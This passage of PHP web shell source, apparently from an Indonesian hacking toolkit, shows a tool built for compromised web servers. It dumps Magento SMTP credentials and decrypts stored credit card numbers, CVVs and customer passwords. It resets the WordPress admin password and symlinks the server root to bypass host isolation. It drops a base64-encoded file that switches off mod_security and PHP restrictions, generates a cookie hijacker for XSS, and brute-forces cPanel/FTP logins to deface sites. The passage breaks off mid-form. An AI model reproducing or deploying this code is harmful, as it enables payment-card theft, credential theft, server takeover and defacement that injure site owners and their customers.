  2209. $query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");
  2210. if(mysql_num_rows($query_smtp) != 0){
  2211. if (!$query_smtp){
  2212. echo "<center><b>Failed</b></center>";
  2213. }else{
  2214. echo'<br><br>
  2215. ====================================================================<br>
  2216. [ SMTP ] <br>
  2217. ====================================================================<br>';
  2218. }
  2219. echo "
  2220. <table border='1' align='center' >
  2221. <tr>
  2222. <td>no</td>
  2223. <td>host</td>
  2224. <td>port</td>
  2225. <td>user</td>
  2226. <td>pass</td>
  2227. </tr>";
  2228. $no = 1;
  2229. $batas = 0;
  2230. while($rows = mysql_fetch_array($query_smtp)) {
  2231. $smtphost = $rows[0];
  2232. $smtpport = $rows[1];
  2233. $smtpuser = $rows[2];
  2234. $smtppass = $rows[3];
  2235. echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";
  2236. $no++;
  2237. }
  2238. echo "</table><br>";
  2239. }
  2240. //=========================================================================================================
  2241. $query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");
  2242. $query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
  2243. if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){
  2244. echo'<br><br>
  2245. ====================================================================<br>
  2246. [ Credit Card ] <br>
  2247. ====================================================================<br>';
  2248. echo "
  2249. <table border='1' align='left' >
  2250. <tr>
  2251. <td>no</td>
  2252. <td>Date</td>
  2253. <td>Credit Owner</td>
  2254. <td>method</td>
  2255. <td>Credit Number</td>
  2256. <td>Credit Exp</td>
  2257. <td>CVV</td>
  2258. <td>Address</td>
  2259. </tr>";
  2260. $no = 1;
  2261. $batas = 0;
  2262. while($vx = mysql_fetch_array($query)){
  2263. $date = $vx['updated_at'];
  2264. $cc_owner = $vx['cc_owner'];
  2265. $method = $vx['method'];
  2266. $cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);
  2267. $exp = $vx['exp'];
  2268. $cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);
  2269. $Billing_Address = $vx['Billing Address'];
  2270. echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";
  2271. $batas = $no++;
  2272. }
  2273.  
  2274. while($vx2 = mysql_fetch_array($query2)){
  2275. $batas +=1;
  2276. $cc_owner = $vx2['cc_owner'];
  2277. $method = $vx2['method'];
  2278. $cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);
  2279. $exp = $vx2['exp'];
  2280. $cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);
  2281. $Billing_Address = $vx2['Billing Address'];
  2282. echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";
  2283. $batas++;
  2284. }
  2285.  
  2286. echo "</table><br>";
  2287. }
  2288. //=========================================================================================================
  2289. $query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");
  2290. $query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");
  2291.  
  2292.  
  2293. if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){
  2294. if (!$query){
  2295. echo "<center><b>Failed</b></center>";
  2296. }else{
  2297. echo'<br><br>
  2298. ====================================================================<br>
  2299. [ Customer ] <br>
  2300. ====================================================================<br>';
  2301. }
  2302. echo "
  2303. <table border='1' align='center' >
  2304. <tr>
  2305. <td>no</td>
  2306. <td>user</td>
  2307. <td>pass</td>
  2308. </tr>";
  2309. $no = 1;
  2310. $batas = 0;
  2311. while($vx = mysql_fetch_array($query)) {
  2312. $user = $vx['email'];
  2313. $pass = $vx['value'];
  2314. echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
  2315. $batas = $no++;
  2316. }
  2317.  
  2318. if(mysql_num_rows($query2) != 0 && ($query2)){
  2319. while($vx2 = mysql_fetch_array($query2)){
  2320. $user = $vx2['customer_email'];
  2321. $pass = $crypto->decrypt($vx2['password_hash']);
  2322. if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampilkan
  2323. $batas +=1;
  2324. echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";
  2325. $batas++;
  2326. }
  2327. }
  2328. }
  2329.  
  2330. echo "</table><br>";
  2331. }
  2332. //=========================================================================================================
  2333. }
  2334. }
  2335. function save($format,$data){
  2336. $fp = fopen($format, 'a');
  2337. fwrite($fp, $data);
  2338. fclose($fp);
  2339. }
  2340. function cekbase64($string){
  2341. $decoded = base64_decode($string, true);
  2342. if (!preg_match('/^[a-zA-Z0-9/rn+]*={0,2}$/', $string)) return false;
  2343. if(!base64_decode($string, true)) return false;
  2344. if(base64_encode($decoded) != $string) return false;
  2345. return true;//nilai return 1 jika true
  2346. }
  2347. //----untuk decode password ---/
  2348. class Varien_Crypt_Mcrypt{
  2349. /**
  2350. * Constuctor
  2351. *
  2352. * @param array $data
  2353. */
  2354. public function __construct()
  2355. {
  2356. }
  2357.  
  2358. /**
  2359. * Initialize mcrypt module
  2360. *
  2361. * @param string $key cipher private key
  2362. * @return Varien_Crypt_Mcrypt
  2363. */
  2364. public function init($key)
  2365. {
  2366. $this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');
  2367. $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);
  2368. $maxKeySize = mcrypt_enc_get_key_size($this->handler);
  2369.  
  2370. if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {
  2371. //throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);
  2372. return null;
  2373. }
  2374.  
  2375. mcrypt_generic_init($this->handler, $key, $iv);
  2376.  
  2377. return $this;
  2378. }
  2379.  
  2380. /**
  2381. * Encrypt data
  2382. *
  2383. * @param string $data source string
  2384. * @return string
  2385. */
  2386. public function encrypt($data)
  2387. {
  2388. if (!$this->handler) {
  2389. //throw new Varien_Exception('Crypt module is not initialized.');
  2390. return null;
  2391. }
  2392. if (strlen($data) == 0) {
  2393. return $data;
  2394. }
  2395. return base64_encode(mcrypt_generic($this->handler, $data));
  2396. }
  2397.  
  2398. /**
  2399. * Decrypt data
  2400. *
  2401. * @param string $data encrypted string
  2402. * @return string
  2403. */
  2404. public function decrypt($data)
  2405. {
  2406. if (!$this->handler) {
  2407. //throw new Varien_Exception('Crypt module is not initialized.');
  2408. return null;
  2409. }
  2410. if (strlen($data) == 0) {
  2411. return $data;
  2412. }
  2413. return mdecrypt_generic($this->handler, base64_decode($data));
  2414. }
  2415.  
  2416.  
  2417. /**
  2418. * Desctruct cipher module
  2419. *
  2420. */
  2421. public function __destruct()
  2422. {
  2423. if ($this->handler) {
  2424. $this->_reset();
  2425. }
  2426. }
  2427.  
  2428. protected function _reset()
  2429. {
  2430. mcrypt_generic_deinit($this->handler);
  2431. mcrypt_module_close($this->handler);
  2432. }
  2433. }
  2434. }
  2435. ////////////////////// WORDPRESS ////////////////////
  2436. elseif (isset($_GET['x']) && ($_GET['x'] == 'wordpress')) {
  2437. if (empty($_POST['pwd'])) {
  2438. echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Wordpress Edite Users</span><div class=content>";
  2439. echo "<center><br><br><FORM method='POST'>DB_Prefix : <INPUT class ='inputz' size='15' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host : <INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database : <INPUT class ='inputz' size='15' value='Database' name='database' type='text'>&nbsp;&nbsp;username : <INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;&nbsp;password : <INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username : <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password : <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM>";
  2440. } else {
  2441. $prefix = $_POST['prefix'];
  2442. $localhost = $_POST['localhost'];
  2443. $database = $_POST['database'];
  2444. $username = $_POST['username'];
  2445. $password = $_POST['password'];
  2446. $pwd = $_POST['pwd'];
  2447. $admin = $_POST['admin'];
  2448. @mysql_connect($localhost, $username, $password) or die(mysql_error());
  2449. @mysql_select_db($database) or die(mysql_error());
  2450. $hash = crypt($pwd);
  2451. $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
  2452. $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
  2453. if ($k2) {
  2454. echo '<br><br><center><h1>Done ... go and login</h1></center>';
  2455. }
  2456. }
  2457. echo '</center>';
  2458. }
  2459. ///////////////// TEST PERMISSION /////////////////
  2460. elseif(isset($_GET['x']) && ($_GET['x'] == 'testperm'))
  2461. {
  2462. echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Test Permission</span><div class=content><br>";
  2463. echo '<center><table style="border:1px solid #58FAF4;">';
  2464. echo '<tr>';
  2465. if(ini_get('id') == '1'){
  2466. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2467. }
  2468. else{
  2469. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2470. }
  2471. if(ini_get('gunzip') == '1'){
  2472. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2473. }
  2474. else{
  2475. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2476. }
  2477. if(ini_get('pwd') == '1'){
  2478. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2479. }
  2480. else{
  2481. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2482. }
  2483. if(ini_get('ln') == '1'){
  2484. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2485. }
  2486. else{
  2487. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2488. }
  2489. if(ini_get('ls') == '1'){
  2490. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2491. }
  2492. else{
  2493. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2494. }
  2495. if(ini_get('chmod') == '1'){
  2496. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2497. }
  2498. else{
  2499. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2500. }
  2501. echo '</tr><tr>';
  2502. if(ini_get('uname') == '1'){
  2503. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;uname:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2504. }
  2505. else{
  2506. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;uname:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2507. }
  2508. if(ini_get('rm') == '1'){
  2509. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2510. }
  2511. else{
  2512. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2513. }
  2514. if(ini_get('su') == '1'){
  2515. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| su:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2516. }
  2517. else{
  2518. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| su:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2519. }
  2520.  
  2521. if(ini_get('tail') == '1'){
  2522. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2523. }
  2524. else{
  2525. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2526. }
  2527. if(ini_get('Ptouch') == '1'){
  2528. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2529. }
  2530. else{
  2531. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2532. }
  2533. if(ini_get('who') == '1'){
  2534. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| who:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2535. }
  2536. else{
  2537. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| who:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2538. }
  2539. echo '</tr><tr>';
  2540. if(ini_get('gcc') == '1'){
  2541. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2542. }
  2543. else{
  2544. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2545. }
  2546. if(ini_get('tar') == '1'){
  2547. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2548. }
  2549. else{
  2550. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2551. }
  2552. if(ini_get('du') == '1'){
  2553. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| du:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2554. }
  2555. else{
  2556. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| du:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2557. }
  2558. if(ini_get('dir') == '1'){
  2559. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2560. }
  2561. else{
  2562. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2563. }
  2564. if(ini_get('wget') == '1'){
  2565. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2566. }
  2567. else{
  2568. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2569. }
  2570. if(ini_get('date') == '1'){
  2571. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| date:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2572. }
  2573. else{
  2574. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| date:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2575. }
  2576. echo '</tr><tr>';
  2577.  
  2578. if(ini_get('gzip') == '1'){
  2579. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2580. }
  2581. else{
  2582. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2583. }
  2584. if(ini_get('sh') == '1'){
  2585. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
  2586. }
  2587. else{
  2588. echo '<td style="border:0px solid black;"><font color="#58FAF4" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
  2589. }
  2590. echo '</tr>';
  2591. echo '</table></center>';
  2592.  
  2593. }
  2594.  
  2595. ////////////////////// vHost ////////////////////
  2596. elseif(isset($_GET['x']) && ($_GET['x'] == 'vhost'))
  2597. {
  2598. echo "<form method='POST' action=''>";
  2599. echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Bypass Symlink vHost</span><div class=content><br><br>";
  2600. echo "<center><input type='submit' value='Bypass it' name='Colii'></center>";
  2601. if (isset($_POST['Colii'])){ system('ln -s / Rintoar.txt');
  2602. $fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
  2603. $file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","Rintoar.txt");
  2604. $rt="<br><a href=Rintoar.txt TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
  2605. Bypassed Successfully</b></font></a>";
  2606. echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder symlink <br>$rt</center>";} echo "</form>";}
  2607. ////////////////////// SMTP ////////////////////
  2608. elseif(isset($_GET['x']) && ($_GET['x'] == 'smtp'))
  2609. {
  2610. echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  2611. function scj($dir) {
  2612. $dira = scandir($dir);
  2613. foreach($dira as $dirb) {
  2614. if(!is_file("$dir/$dirb")) continue;
  2615. $ambil = file_get_contents("$dir/$dirb");
  2616. $ambil = str_replace("$", "", $ambil);
  2617. if(preg_match("/JConfig|joomla/", $ambil)) {
  2618. $smtp_host = ambilkata($ambil,"smtphost = '","'");
  2619. $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  2620. $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  2621. $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  2622. $smtp_port = ambilkata($ambil,"smtpport = '","'");
  2623. $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  2624. echo "SMTP Host: <font color=#ff0066>$smtp_host</font><br>";
  2625. echo "SMTP port: <font color=#ff0066>$smtp_port</font><br>";
  2626. echo "SMTP user: <font color=#ff0066>$smtp_user</font><br>";
  2627. echo "SMTP pass: <font color=#ff0066>$smtp_pass</font><br>";
  2628. echo "SMTP auth: <font color=#ff0066>$smtp_auth</font><br>";
  2629. echo "SMTP secure: <font color=#ff0066>$smtp_secure</font><br><br>";
  2630. }
  2631. }
  2632. }
  2633. $smpt_hunter = scj($dir);
  2634. echo $smpt_hunter;
  2635. }
  2636. /////////////// SAFE MODE ////////////////
  2637. elseif(isset($_GET['x']) && ($_GET['x'] == 'safemode'))
  2638. {
  2639. mkdir('agsm', 0755);
  2640. chdir('agsm');
  2641.  
  2642. $agsm = 'PGhlYWQ+IDx0aXRsZT5CeXBhc3MgU2FmZU1vZGU8L3RpdGxlPjwvaGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL2wvbS9sbWE5OTJkcjQxLmljbyI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyYW50OwltYXJnaW4tbGVmdDogMHB4OyBtYXJnaW4tdG9wOiAwcHg7IHRleHQtYWxpZ246IGNlbnRlcjsgTmV3O2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiM1OEZBRjQ7Zm9udC13ZWlnaHQ6NDAwO30NCmF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiM1OEZBRjQ7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDgwODA7fSBhOmhvdmVye2NvbG9yOiNmZjAwMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwYTJhMjt9IC0tPjwhLS0gTWFkZSBCeSBWaXJ1c2EgV29ybSAtLT48L3N0eWxlPjxicj48YnI+PGJvZHk+PHRyPjx0ZD48Yj5CeXBhc3MgU2FmZU1vZGUgMTAwJTwvYj48L3RkPiA8YnI+PGJyPjx0ZD4gPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+IC0gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnlwYXNzIiB2YWx1ZT0iQnlwYXNzIj4gPC9mb3JtPiA8P3BocCBpZigkX1BPU1RbJ2J5cGFzcyddKSB7ICRtb2RzZWNieSA9IEBmb3BlbigiLmh0YWNjZXNzIiwidyIpOyBmd3JpdGUoJG1vZHNlY2J5LCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+IFNlYy0tLS0tLUVuZ2luZSBPZmYgU2VjLS0tLS0tU2NhblBPU1QgT2ZmIDwvSWZNb2R1bGU+Jyk7IGZjbG9zZSgkbW9kc2VjYnkpOyAkcGhwaW5pc2VjYnkxID0gQGZvcGVuKCJwaHAuaW5pIiwidyIpOyBmd3JpdGUoJHBocGluaXNlY2J5MSwnc2FmZV9tb2RlPU9GRiBkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7IGZjbG9zZSgkcGhwaW5pc2VjYnkxKTsgZWNobyAiLmh0YWNjZXNzID0gYnlwYXNzIGNvbXBsZXRlLjxicj5waHAuaW5pID0gYnlwYXNzIGNvbXBsZXRlLjxicj48YnI+IjsgfSA/PiA8L3RkPjwvdHI+IDwvYm9keT48L2h0bWw+';
  2643.  
  2644. $file = fopen("agsm.php" ,"w+");
  2645. $write = fwrite ($file ,base64_decode($agsm));
  2646. fclose($file);
  2647. chmod("agsm.php",0755);
  2648. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Bypass SafeMode by Mauritania Attacker & Kaizen</span><br><div class=content><iframe src=agsm/agsm.php width=70% height=60% frameborder=0></iframe>"; }
  2649. ////////////////////// APACHE ////////////////////
  2650. elseif(isset($_GET['x']) && ($_GET['x'] == 'hijack'))
  2651. {
  2652. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Cookie Hijacking</span><br><div class=content>";
  2653. global $cookie_highjacker;
  2654. echo "<center><h2><font color=#FF0000>NOTICE</font></h2><hr width='50%'><br>";
  2655. if(function_exists('fopen') && function_exists('fwrite'))
  2656. {
  2657. $cook=gzinflate(base64_decode($cookie_highjacker));
  2658. $han_le=fopen("cookie.php", "w+");
  2659. if($han_le)
  2660. {
  2661. fwrite($han_le, $cook);
  2662. echo "Yes... Cookie highjacker is generated.<br /> Name : <a style='color:green;' target=_blank href=cookie.php>cookie.php</a></font><br /> Rename it as 404.php or what you like and highjack cookie of your target.<br />It is usefull in XSS<br />It will make a file <font color=red>configuration.txt</font> in this direcory and save the cookie value in it. :p cheers...<br /><br /><hr width='50%'><br /><br /></center>";
  2663. }
  2664. else
  2665. {
  2666. echo "<font color=red>Sorry... Generate COOKIE HIGHJACKER failed<br /><br /><hr /><br /><br /></center></div>";
  2667. }
  2668. }
  2669. }
  2670.  
  2671. ////////////////////// APACHE ////////////////////
  2672. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpbrute'))
  2673. {
  2674. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>CPanel/FTP Auto Deface</span><br><div class=content>";
  2675. if($_POST['crack']) {
  2676. $usercp = explode("rn", $_POST['user_cp']);
  2677. $passcp = explode("rn", $_POST['pass_cp']);
  2678. $i = 0;
  2679. foreach($usercp as $ucp) {
  2680. foreach($passcp as $pcp) {
  2681. if(@mysql_connect('localhost', $ucp, $pcp)) {
  2682. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  2683. } else {
  2684. $_SESSION[$ucp] = "1";
  2685. $_SESSION[$pcp] = "1";
  2686. if($ucp == '' || $pcp == '') {
  2687. //
  2688. } else {
  2689. echo "[+] username (<font color=#ff0066>$ucp</font>) password (<font color=#ff0066>$pcp</font>)<br>";
  2690. $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
  2691. $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  2692. if((!$ftp_login) || (!$ftp_conn)) {
  2693. echo "[+] <font color=#ff0066>Login Gagal</font><br><br>";
  2694. } else {
  2695. echo "[+] <font color=#ff0066>Login Sukses</font><br>";
  2696. $fi = htmlspecialchars($_POST['file_deface']);
  2697. $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  2698. if($deface) {
  2699. $i++;
  2700. echo "[+] <font color=#ff0066>Deface Sukses</font><br>";
  2701. if(function_exists('posix_getpwuid')) {
  2702. $domain_cp = file_get_contents("/etc/named.conf");
  2703. if($domain_cp == '') {
  2704. echo "[+] <font color=#ff0066>gabisa ambil nama domain nya</font><br><br>";
  2705. } else {
  2706. preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  2707. foreach($domains_cp[1] as $dj) {
  2708. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  2709. $user_cp_url = $user_cp_url['name'];
  2710. if($user_cp_url == $ucp) {
  2711. echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  2712. break;
  2713. }
  2714. }
  2715. }
  2716. } else {
  2717. echo "[+] <font color=#ff0066>gabisa ambil nama domain nya</font><br><br>";
  2718. }
  2719. } else {
  2720. echo "[-] <font color=#ff0066>Deface Gagal</font><br><br>";
  2721. }
  2722. }
  2723. //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  2724. }
  2725. }
  2726. }
  2727. }
  2728. }
  2729. if($i == 0) {
  2730. } else {
  2731. echo "<br>sukses deface ".$i." Cpanel by <font color=#ff0066>Security Ghost</font>";
  2732. }
  2733. } else {
  2734. echo "<center>
  2735. <form method='post'>
  2736. Filename: <br>
